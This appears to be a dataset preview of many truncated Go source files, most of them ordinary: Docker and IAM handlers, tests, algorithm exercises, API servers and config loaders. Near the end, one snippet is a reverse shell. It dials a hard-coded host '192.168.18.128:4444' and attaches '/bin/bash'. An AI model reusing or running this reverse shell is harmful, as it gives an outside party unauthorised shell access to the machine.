text
stringlengths
11
4.05M
package docker import ( "errors" "github.com/Sirupsen/logrus" dockerClient "github.com/fsouza/go-dockerclient" iam "github.com/swipely/iam-docker/src/iam" "github.com/swipely/iam-docker/src/msi" "sync" ) // NewEventHandler a new event handler that updates the container and IAM stores // based on Docker event up...
package schedule import ( "encoding/xml" "time" ) type Definition struct { XMLName xml.Name `xml:"schedule"` Handler Handler `json:"handler" xml:"handler,omitempty" db:"handler"` Timing string `xml:"timing,attr,omitempty" db:"timing"` Name string `xml:"name,attr,omitempty" d...
package util import ( "go.uber.org/atomic" "net/http" "strconv" "strings" "sync" "unsafe" ) var client = &http.Client{} func CallHTTP(req *http.Request) (resp *http.Response, err error) { resp, err = client.Do(req) return } func IsClientProcess() bool { if KListenPort == KClientProcessPort1 || KListenPort ...
package cmd import ( "context" ) // ContextWithStopChan creates a context canceled when the given stopCh receives a message // or get closed. func ContextWithStopChan(ctx context.Context, stopCh <-chan struct{}) context.Context { ctx, cancel := context.WithCancel(ctx) go func() { defer cancel() select { ca...
package main import ( "context" "fmt" "log" "net" "net/http" "time" "code.cloudfoundry.org/go-envstruct" "code.cloudfoundry.org/log-cache/pkg/rpc/logcache_v1" "code.cloudfoundry.org/metric-proxy/pkg/metrics" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/p...
package bot import ( "fmt" "github.com/nlopes/slack" ) type slackConnection struct { rtm *slack.RTM } func (c *slackConnection) GetNick() string { return "" } func (c slackConnection) Join(channel string) {} func (c slackConnection) Part(channel string) {} func (c slackConnection) Privmsg(target, message strin...
package agent import ( "context" "errors" "io" "log" "net" "os/exec" "strings" "github.com/btwiuse/pretty" "golang.org/x/sync/errgroup" types "k0s.io/k0s/pkg/agent" "k0s.io/k0s/pkg/agent/dialer" "k0s.io/k0s/pkg/api" ) var ( _ types.Agent = (*agent)(nil) ) type agent struct { *errgroup.Group types.Con...
package validator import ( "testing" "time" "github.com/stretchr/testify/assert" "github.com/authelia/authelia/v4/internal/configuration/schema" ) func newDefaultRegulationConfig() schema.Configuration { config := schema.Configuration{ Regulation: schema.Regulation{}, } return config } func TestShouldSet...
// Copyright (c) 2016, Ben Morgan. All rights reserved. // Use of this source code is governed by an MIT license // that can be found in the LICENSE file. package dist import ( "math/rand" "testing" ) func TestStairsMean(z *testing.T) { type test struct { P []float64 M float64 } tests := []test{ test{[]fl...
package fuzzyx import ( "fmt" "sort" "math" "strconv" "github.com/mozillazg/go-pinyin" ) // Meta const ( Author = "partrick.zhou" Date = "2019.6.1" ) // AanlyzedWord 单个中文字符的声韵母,声调信息 type AanlyzedWord struct { Consonant string Final string Tone int } // Word 单个中文字符的信息 t...
// Copyright 2016 Google Inc. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable ...
package _796_Rotate_String func rotateString(A string, B string) bool { if A == "" && B == "" { return true } if len(A) < len(B) { return false } for i, s := range B { if s == rune(A[0]) { tmpStr := B[i:] + B[0:i] if tmpStr == A { return true } } } return false }
package main import ( "net/http" ) func main() { http.HandleFunc("/", index) http.HandleFunc("/signup", signup) http.HandleFunc("/index", index) http.Handle("/files/", http.StripPrefix("/files/", http.FileServer(http.Dir("./")))) http.ListenAndServe(":9000", nil) }
package constant const ( PathLog = "log/logrus.log" PathToLog = "log" LogMessageErrorLoadFile = "Failed to log to file, using default stderr" DetailLog = "Detail" LogCalled = "Called from " FromLine = ", line #" FromFunction = "...
package main import ( "fmt" //"sort" ) func main() { arr := []int{1, 2, 3, 4, 5} //var revArr []int /* for i := len(arr) - 1; i >= 0; i-- { revArr = append(revArr, arr[i]) } fmt.Println(revArr) */ temp := arr[0] arr[0] = arr[len(arr)-1] arr[len(arr)-1] = temp fmt.Println(arr) }
package main import "time" func whatIsThis(i interface{}) { switch t := i.(type) { case bool: println("Boolean") case int: println("Integer") default: println("Implement Types %T\n", t) } } func main() { i := 42 switch i { case 1: println("ONE") case 2: println("TWO") case 3: println("THREE") ...
// +build wireinject package main import ( "my-app/config" "my-app/infrastructure/mysql" "my-app/interface/handler" "my-app/usecase" "github.com/gin-gonic/gin" "github.com/google/wire" ) func initializeServer(conf config.Config) (*gin.Engine, func(), error) { wire.Build( handler.NewBookHandler, usecase.N...
package util import ( "fmt" "github.com/mndrix/tap-go" rspec "github.com/opencontainers/runtime-spec/specs-go" "github.com/opencontainers/runtime-tools/cgroups" ) // ValidateLinuxResourcesBlockIO validates linux.resources.blockIO. func ValidateLinuxResourcesBlockIO(config *rspec.Spec, t *tap.T, state *rspec.Stat...
package exec import "boltview/boltdb" const ( cmdBuckets = "buckets" descriptionBuckets = "show buckets" ) type buckets struct { base filter []string buckets []string } func init() { register(newBuckets()) } func newBuckets() *buckets { return &buckets{base: base{ name: cmdBuckets, cmd: ...
package pathfileops import ( "fmt" "sort" "strings" "testing" ) func TestFileMgrCollection_SortByAbsPathFileName_01(t *testing.T) { testDir1 := "../../dirmgrtests/dir01/dir02" runelc := 'a' const aryLen = 12 expectedAry := make([]string, aryLen) fh := FileHelper{} fMgrCol := FileMgrCollectio...
package repositories import ( "database/sql" "github.com/shitakemura/myapi/models" ) func InsertComment(db *sql.DB, comment models.Comment) (models.Comment, error) { const sqlStr = ` insert into comments (article_id, message, created_at) values (?, ?, now()); ` var newComment models.Comment newComment.Art...
package ofdru import ( "net/http" "net/http/httptest" "testing" "time" "github.com/stretchr/testify/assert" ) func TestAuth(t *testing.T) { ts := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path == "/api/Authorization/CreateAuthToken" { w.Header().Add("...
package notifications import ( "fmt" "context" "encoding/json" "github.com/jackc/pgx/v4" "github.com/google/uuid" log "github.com/sirupsen/logrus" "texas_real_foods/pkg/utils" ) type Persistence struct{ *utils.BasePostgresPersistence } func NewPersistence(url string) *Persistence {...
package db import ( "time" //"github.com/golang/glog" ) // 发布信息结构体 type AccountBook struct { Id uint `gorm:"PRIMARY KEY"` SubCode string `gorm:"type:text;not null"` // 排班编号 CreateTime time.Time `gorm:"not null"` // 创建时间 Price float64 `gorm:"not null"` // 价格 Detail...
package main import "fmt" func multiplicacao(a, b int) int { return a + b } func exec(funcao func(int, int) int, p1, p2 int) int { return funcao(p1, p2) } // Obs Não há implementação nativa de go para map, reduce e filter // esses recursos aqui podem ajudar a implementar esses tipos de função func main() { resu...
package commands import ( "bufio" "io" "os" "os/exec" ) // ExecAndWrite provides execution of the command and writing results to the file func ExecAndWrite(fileName string) error { cmd := exec.Command("crontab", "-l") // open the out file for writing outfile, err := os.Create(fileName) if err != nil { pani...
package consistent import "fmt" import "reflect" import "testing" func TestInit(t *testing.T) { _ = NewConsistent() _ = NewConsistentWithN(200) _ = NewConsistentWithHash(130, func([]byte) uint64 { return 0 }) } func TestNodeOperation(t *testing.T) { c := NewConsistent() c.AddNodes([]string{"192.168.1.1", "1...
package handler import ( "net/http" ) type BaseJsonData struct { Message string `json:"message,omitempty"` Code int `json:"code"` Success bool `json:"success"` Data interface{} `json:"data,omitempty"` } type ResponseData struct { Success bool `json:"success"` Code int `json:"code"`...
package hot100 // 关键: 动态规划 // f(n)=f(n-1)+f(n-2) func climbStairs(n int) int { dp := make([]int, n+1) for i := 1; i <= n; i++ { if i == 1 { dp[i] = 1 continue } if i == 2 { dp[i] = 2 continue } dp[i] = dp[i-1] + dp[i-2] } return dp[n] }
package setr import ( "encoding/xml" "github.com/thought-machine/finance-messaging/iso20022" ) type Document02900101 struct { XMLName xml.Name `xml:"urn:iso:std:iso:20022:tech:xsd:setr.029.001.01 Document"` Message *SecuritiesTradeConfirmationCancellationV01 `xml:"SctiesTradCon...
package main import ( "github.com/reed/cmd/cli/command" ) func main() { //log.Init() // //var data = `{"tx_inputs":[{"spend_output_id":"b19645016b9dc0dfcd272f718281568d7de4a5bc8e6acaea25722e29d1cd6e8d"}],"tx_outputs":[{"address":"d1cd6e8da1ba6fe9e9388c10f2f30ec5329911fd043b3b49d4266b24fb8f5e25","amount":120}]}` ...
package v1 import ( "context" "errors" . "github.com/onsi/ginkgo" . "github.com/onsi/gomega" netv1 "k8s.io/api/networking/v1" k8serrors "k8s.io/apimachinery/pkg/api/errors" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) func validateIngressTest(ingress *netv1.Ingress, valid bool) { ctx := context.Background...
package lang import ( "fmt" "testing" ) func TestMyInt(t *testing.T) { var a MyInt = 1 var b MyInt = 2 a.Add(b) fmt.Println(a, b) }
/* Copyright 2021 CodeNotary, Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to i...
package tools import ( _ "net/http/pprof" "log" "net/http" ) func main(){ go func(){ log.Fatal(http.ListenAndServe(":6060",nil)) }() }
// Copyright 2020 PingCAP, Inc. Licensed under Apache-2.0. package version import ( "context" "fmt" "math" "regexp" "strconv" "strings" "github.com/coreos/go-semver/semver" "github.com/pingcap/errors" "github.com/pingcap/kvproto/pkg/metapb" "github.com/pingcap/log" berrors "github.com/pingcap/tidb/br/pkg/...
package structs import "encoding/xml" type CreditCardAccept struct { XMLName xml.Name `xml:"Envelope"` Text string `xml:",chardata"` Soapenv string `xml:"soapenv,attr"` Tem string `xml:"tem,attr"` Wcf string `xml:"wcf,attr"` Header string `xml:"Header"` Body struct { Text ...
package rules import ( "context" "errors" "fmt" "github.com/Highway-Project/highway/pkg/middlewares" "github.com/Highway-Project/highway/pkg/service" "net/http" ) type Rule struct { Name string Service *service.Service Schema string PathPrefix string Hosts []string Methods []str...
// ˅ package main import "bytes" // ˄ type ListData struct { // ˅ // ˄ Data // ˅ // ˄ } func NewListData(name string) *ListData { // ˅ listData := &ListData{} listData.Data = *NewData(name) return listData // ˄ } func (self *ListData) ToHTML() string { // ˅ var buffer bytes.Buffer buffer.WriteStri...
// Copyright 2016 Martin Hebnes Pedersen (LA5NTA). All rights reserved. // Use of this source code is governed by the MIT-license that can be // found in the LICENSE file. //go:build libhamlib // +build libhamlib package main import ( "fmt" "strings" "github.com/la5nta/wl2k-go/rigcontrol/hamlib" ) func init() {...
// Copyright (c) 2016-2018, Jan Cajthaml <jan.cajthaml@gmail.com> // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless require...
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, ...
package handler import ( "Golang-API-Game/pkg/dcontext" gacha_ranking "Golang-API-Game/pkg/repository/ranking" "Golang-API-Game/pkg/server/response" "errors" "log" "net/http" ) type rankingGetResponse struct { Rank int `json:"rank"` Score int `json:"score"` } func HandleRankingGet() http.HandlerFunc { retu...
package cron import ( "context" "fmt" "github.com/owenliang/myf-go/client/mmongo" v3cron "github.com/robfig/cron/v3" "github.com/owenliang/myf-go/client/cat" "github.com/owenliang/myf-go/client/mhttp" "github.com/owenliang/myf-go/client/mmysql" "github.com/owenliang/myf-go/client/mredis" "github.com/owenliang...
package main import ( "fmt" ) /* Go is a 100% Call by value language */ func main() { fmt.Println("------------Passing int pointer to a function---------") i := 2 x := &i fmt.Println("retptr: &i:", x) fmt.Println("retptr: i:", *x) fmt.Println("retptr: &x:", &x) fmt.Println("retptr: result:", retptr(x)) fmt...
package routers import ( "github.com/astaxie/beego" "github.com/w2hhda/candy/controllers" ) func init() { beego.Include(&controllers.UserController{}, &controllers.CandyController{}, &controllers.RankController{}, &controllers.RecordController{}, &controllers.GameController{}, &controllers.AdminControlle...
package skpsilk // silk/src/SKP_Silk_tables_type_offset.c var type_offset_CDF = [5]uint16{ 0, 37522, 41030, 44212, 65535, } const type_offset_CDF_offset = 2 var type_offset_joint_CDF = [4][5]uint16{ {0, 57686, 61230, 62358, 65535}, {0, 18346, 40067, 43659, 65535}, {0, 22694, 24279, 35507, 65535}, {0, 6067, 721...
// Exercise 09_parentjob guides you through using replay to model a parent job request // that is claimed an executed by one of the child worker implementations. // // In system design a common problem is how model a job that is executed by one of // multiple different implementations. Some examples include: // - Paym...
package logging import ( "testing" . "github.com/square/p2/Godeps/_workspace/src/github.com/anthonybishopric/gotcha" ) func TestProcessCounterIncrementsEveryTime(t *testing.T) { counter := processCounter.counter Assert(t).AreEqual(counter, processCounter.Fields()["Counter"], "The counter was wrong") Assert(t).A...
/* * Tencent is pleased to support the open source community by making Blueking Container Service available. * Copyright (C) 2019 THL A29 Limited, a Tencent company. All rights reserved. * Licensed under the MIT License (the "License"); you may not use this file except * in compliance with the License. You may obta...
package action import ( "context" "github.com/guilhermesteves/aclow" "github.com/guilhermesteves/go-todo-api/pkg/data/config" "time" dbtransformer "github.com/guilhermesteves/go-todo-api/pkg/data/transformer" "go.mongodb.org/mongo-driver/bson" "go.mongodb.org/mongo-driver/bson/primitive" "go.mongodb.org/mongo...
package leetcode import "math" // Say you have an array for which the ith element is the price of a given stock on day i. // If you were only permitted to complete at most one transaction (i.e., buy one and sell one share of the stock), design an algorithm to find the maximum profit. // Note that you cannot sell a st...
package math import "math/big" var memorize map[int]*big.Int func init() { memorize = make(map[int]*big.Int) } func Fib(n int) *big.Int { if n < 0 { return nil } if n < 2 { memorize[n] = big.NewInt(1) } if val, ok := memorize[n]; ok { return val } memorize[n] = big.NewInt(0) memorize[n].Add(memori...
package resolve import ( "database/sql" "fmt" "github.com/bitmaelum/bitmaelum-suite/pkg/address" "github.com/bitmaelum/bitmaelum-suite/pkg/bmcrypto" "github.com/bitmaelum/bitmaelum-suite/pkg/proofofwork" _ "github.com/mattn/go-sqlite3" // SQLite driver "strings" "sync" ) const ( tableName = "keyresolve" ) t...
package data type AppServer struct { Id int HttpPort string Ip string Type string }
package tlsmisc import ( "crypto/tls" "path/filepath" "sync/atomic" "time" fsnotify "gopkg.in/fsnotify.v1" ) type CertificateGetter interface { GetCertificate(clientHello *tls.ClientHelloInfo) (*tls.Certificate, error) } type ReloadingCertificateGetter struct { // type: *tls.Certificate currentCert atomic.V...
package city import ( "github.com/pkg/errors" ) var ErrNotFound = errors.New("not found") type cityInfo struct { Value string `json:"value"` Label string `json:"label"` }
package main import "fmt" func main() { A := []int{1, 2, 3} B := []int{} C := []int{} fmt.Println(hanoi(len(A), &A, &C, &B)) } func hanoi(n int, s, t, a *[]int) int { m := 0 if n > 0 { m += hanoi(n-1, s, a, t) *t = append(*t, (*s)[len(*s)-1]) *s = (*s)[:len(*s)-1] m++ fmt.Println("source: ", *s...
/* * Copyright 2018, CS Systemes d'Information, http://www.c-s.fr * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless requir...
package main import ( "fmt" "math" ) func main() { test("", "", 0) test("1", "", 1) test("1", "12", 1) test("123", "21", 2) } func test(word1, word2 string, res int) { if res != minDistance(word1, word2) { fmt.Println(word1, word2, res) } } func minDistance(word1 string, word2 string) int { m := [][]int{...
// Copyright (c) 2011-2013, 'pq' Contributors Portions Copyright (C) 2011 Blake Mizerany. MIT license. // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the "Software"), // to deal in the Software without restriction, including wit...
/* Copyright 2021 The KubeVela Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, softw...
package dummy import ( "time" "github.com/tlmiller/garage-door-controller/door" ) type Door struct { DoorId door.Id StateMachine *door.StateMachine StateProvider StateProvider } type StateProvider struct { Closed bool Open bool } func (d *Door) Id() door.Id { return d.DoorId } func (s *StateProv...
package main import ( "github.com/nsf/termbox-go" "os" ) type Focusser interface { OnKey(termbox.Event) OnResize(termbox.Event) DrawCursor() } type Window struct { tree FileTree files OpenFiles filesw int editor Editor commander Commander focus Focusser } func (w *Window) OnKey(ev term...
package domain import "github.com/dgrijalva/jwt-go" var TokenSecret = []byte("my_token_secret") type TokenClaims struct { jwt.StandardClaims UserID int }
package utils import ( "encoding/json" "net/url" "sort" "strings" "time" "github.com/go-jar/crypto" "github.com/go-jar/goerror" "github.com/go-jar/gohttp/query" "github.com/goinbox/gomisc" "blog/errno" ) const ( Success = "Success" ECommonJsonEncodeError = "ECommonJsonEncodeError" ECommonInvalidArg ...
package main import ( "flag" "fmt" "os" "strings" ) func actionFile(goFile goPack, option string) { var pkgs []string // Add Dev Packages if needed if devFlag { pkgs = append(goFile.Packages, goFile.DevPackages...) } else { pkgs = goFile.Packages } for _, pkg := range pkgs { if option == actionInsta...
// Package v2 contains common functions for creating block storage based // resources for use in acceptance tests. See the `*_test.go` files for // example usages. package v2 import ( "testing" "github.com/gophercloud/gophercloud" "github.com/gophercloud/gophercloud/acceptance/clients" "github.com/gophercloud/gop...
// Copyright 2023 Google LLC. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applica...
package states import ( "context" "fmt" "time" "github.com/direktiv/direktiv/pkg/model" ) var stateInitializers map[model.StateType]func(instance Instance, state model.State) (Logic, error) func RegisterState(st model.StateType, initializer func(instance Instance, state model.State) (Logic, error)) { if stateI...
package sharedcheck import ( "go/ast" "go/types" "golang.org/x/tools/go/analysis" "honnef.co/go/tools/code" "honnef.co/go/tools/internal/passes/buildir" "honnef.co/go/tools/ir" . "honnef.co/go/tools/lint/lintdsl" ) func CheckRangeStringRunes(pass *analysis.Pass) (interface{}, error) { for _, fn := range pass...
/* Copyright (c) 2018 Simon Schmidt Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, s...
package main import "fmt" // MinusAndTimes is used to calulate func MinusAndTimes(a, b int) (m int, t int) { m = a - b t = a * b return m, t } func main() { a, b := 1, 2 m, t := MinusAndTimes(a, b) fmt.Printf("%d * %d = %d, and %d - %d = %d", a, b, t, a, b, m) }
package main import ( "bufio" "fmt" "io" "os" ) const logfile = "example.log" func openFile(file string) error { fd, err := os.OpenFile(file, os.O_RDONLY, os.ModePerm) if err != nil { return err } defer fd.Close() rd := bufio.NewReader(fd) for { if line, err := rd.ReadString('\n'); err != nil { if ...
package firebase import ( "context" "cloud.google.com/go/firestore" "github.com/pkg/errors" ) // Client Interface for mocking type Client interface { Get(ctx context.Context, key string) (interface{}, error) Set(ctx context.Context, key string, value interface{}) error Close() error } // firestore.Client impl...
package main import "fmt" func defer_call() { //defer func() { fmt.Println("打印前") }() defer func() { fmt.Println("打印中") }() defer func() { fmt.Println("打印后") }() //panic("触发异常") } func calc(index string, a, b int) int { ret := a + b fmt.Println(index, a, b, ret) return ret } func main() { pri...
package problems import ( "testing" "github.com/stretchr/testify/require" ) func TestCodec(t *testing.T) { tests := []struct { root *TreeNode }{ { root: &TreeNode{ Val: 1, Left: &TreeNode{ Val: 2, Right: &TreeNode{ Val: 3, }, }, Right: &TreeNode{ Val: 4, Rig...
package tmp const HandlerTCPTmp = `package {{printf "%v_handler" (index . 0)}} import ( "encoding/json" "net/http" {{printf "\"%v/handlers/%v_handler/%v_helper\"" (index . 1) (index . 0) (index . 0)}} {{printf "\"%v/helper\"" (index . 1)}} {{printf "\"%v/hub/hub_helper\"" (index . 1)}} ) type handler struct { ...
package core import ( "encoding/json" "time" ) type ( TaskError string Task struct { ID uint `json:"id" gorm:"primary_key"` CreatedAt time.Time `json:"created_at"` UpdatedAt time.Time `json:"updated_at"` DeletedAt *time.Time `json:"deleted_at,omitempty" sql:"index"` D...
package handler import ( "net/http" "github.com/sjaureguio/golang-api/clase-3/middleware" ) func RoutePerson(mux *http.ServeMux, storage Storage) { h := newPerson(storage) mux.HandleFunc("/v1/persons/create", middleware.Log(middleware.Authentication(h.create))) mux.HandleFunc("/v1/persons/update", h.update) m...
package controller import ( "fmt" "io" "math/rand" "net/http" "os" "strings" "time" "../util" ) func init() { os.MkdirAll("./mnt", os.ModePerm) } func Upload(w http.ResponseWriter, r *http.Request) { UploadLocal(w, r) } func UploadLocal(writer http.ResponseWriter, request *http.Request) { //todo 获得上传的源...
package core import ( "gopkg.in/yaml.v2" "io/ioutil" "log" "sync" ) type config struct { BeatSeconds int `yaml:"beat_seconds"` Urls []string `yaml:"urls"` } var ( instance config ) var once sync.Once func get() config { once.Do(func() { instance = readConfig() }) return instance } func rea...
package connection import ( "context" "fmt" sdkflags "github.com/cosmos/cosmos-sdk/client/flags" "github.com/cosmos/ibc-go/modules/core/03-connection/client/utils" "github.com/cosmos/ibc-go/modules/core/03-connection/types" host "github.com/cosmos/ibc-go/modules/core/24-host" "github.com/gookit/gcli/v3" "gith...
package keystoneapi import ( "context" "errors" "fmt" logr "github.com/go-logr/logr" routev1 "github.com/openshift/api/route/v1" comv1 "github.com/openstack-k8s-operators/keystone-operator/pkg/apis/keystone/v1" keystone "github.com/openstack-k8s-operators/keystone-operator/pkg/keystone" util "github.com/openst...
package workers import ( "github.com/go-redis/redis" "github.com/spf13/viper" "go.uber.org/zap" "github.com/pushaas/push-agent/push-agent/services" ) type ( SubscriptionWorker interface { DispatchWorker() error } subscriptionWorker struct { enabled bool logger *zap.Logger pubsubChannel string redis...
// pkg/encodig/json/typeof. package main import ( "encoding/json" "fmt" "go/ast" "go/token" "math" "reflect" "strconv" ) var jsonStreams = []string{ `0`, `null`, `true`, `"string"`, `{}`, `{"key":"val"}`, `{"key":null}`, `[]`, `[0]`, `["string"]`, `[0,"string"]`, `[[]]`, `["hello", ["world"]]`, `...
package client import ( "context" "crypto/tls" "crypto/x509" "io/ioutil" "github.com/danielkvist/botio/proto" "github.com/golang/protobuf/ptypes/empty" "github.com/pkg/errors" "google.golang.org/grpc" "google.golang.org/grpc/credentials" "google.golang.org/grpc/metadata" ) // Client represents a gRPC Boti...
package leetcode /*A string is a valid parentheses string (denoted VPS) if and only if it consists of "(" and ")" characters only, and: It is the empty string, or It can be written as AB (A concatenated with B), where A and B are VPS's, or It can be written as (A), where A is a VPS. We can similarly define the nestin...
package print import ( "context" "fmt" "github.com/ns1/jsonschema2go/internal/planning" "github.com/ns1/jsonschema2go/pkg/gen" "log" "os" "path/filepath" "sync" ) func Print( ctx context.Context, printer Printer, grouped map[string][]gen.Plan, prefixes [][2]string, ) error { var childRoutines sync.WaitGr...
package coordinator import "fmt" type item struct { value interface{} priority int } func newItem(value interface{}, priority int) *item { return &item{ value: value, priority: priority, } } func (i *item) String() string { return fmt.Sprintf("<item value:%s priority:%d>", i.value, i.priority) }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may ...
package Composite import "fmt" type Component interface { Traverse() } type Leaf struct { value int } func NewLeaf(value int) *Leaf { return &Leaf{value:value} } func (l *Leaf) Traverse() { fmt.Println(l.value) } type Composite struct { children []Component } func NewComposite() *Composite { return &Compo...
package provider import ( "fmt" "github.com/hashicorp/terraform-plugin-sdk/v2/helper/schema" "github.com/mrparkers/terraform-provider-keycloak/keycloak" "strings" ) func resourceKeycloakUserGroups() *schema.Resource { return &schema.Resource{ Create: resourceKeycloakUserGroupsReconcile, Read: resourceKeycl...
package actions import ( "errors" "github.com/barrydev/api-3h-shop/src/common/connect" "github.com/barrydev/api-3h-shop/src/factories" ) func RemoveOrderCoupon(orderId int64) (bool, error) { existOrder, err := factories.FindOneOrder(&connect.QueryMySQL{ QueryString: "WHERE _id=? AND payment_status='pending'", ...
package kafka import ( "testing" ) func TestKafkaPublisher_WriteOnce(t *testing.T) { kp := NewKafkaPublisher("localhost:19092", "topic-1") err := kp.WriteOnce([]byte("key-1"), []byte("value-1")) if err != nil { t.Errorf("failed to write message: %v", err) } }
package queries import ( "reflect" "testing" ) func TestSetLimit(t *testing.T) { t.Parallel() q := &Query{} SetLimit(q, 10) expect := 10 if q.limit == nil { t.Errorf("Expected %d, got nil", expect) } else if *q.limit != expect { t.Errorf("Expected %d, got %d", expect, *q.limit) } } func TestSetOffset(...
package goldie type View struct { Name string Model interface{} }
package main import ( "fmt" "log" "net" "os" "os/exec" "strings" "time" ) const default_host = "192.168.18.128:4444" const shell = "/bin/bash" func reverse(host string) { c, err := net.Dial("tcp", host) if err != nil { if c != nil { c.Close() log.Fatal(err.Error()) } fmt.Println("Error:", err.Er...
package main import ( "github.com/dearcj/golangproj/bitmask" pb "github.com/dearcj/golangproj/network" ) type Money struct { Amount int } func (a *Money) mutateState(d *Object, no *pb.NetworkObject) {} func (a *Money) process(b *Object, dt float64) { } func (a *Money) onCollide(parent *Object, col *Object) { } ...
package main import ( "github.com/labstack/echo" "github.com/labstack/echo/middleware" ) func main() { server := echo.New() server.Use(middleware.Logger()) server.Use(middleware.Gzip()) // load all routes to server loadRoutes(server) // Start server and log error server.Logger.Fatal(server.Start(":2019")) ...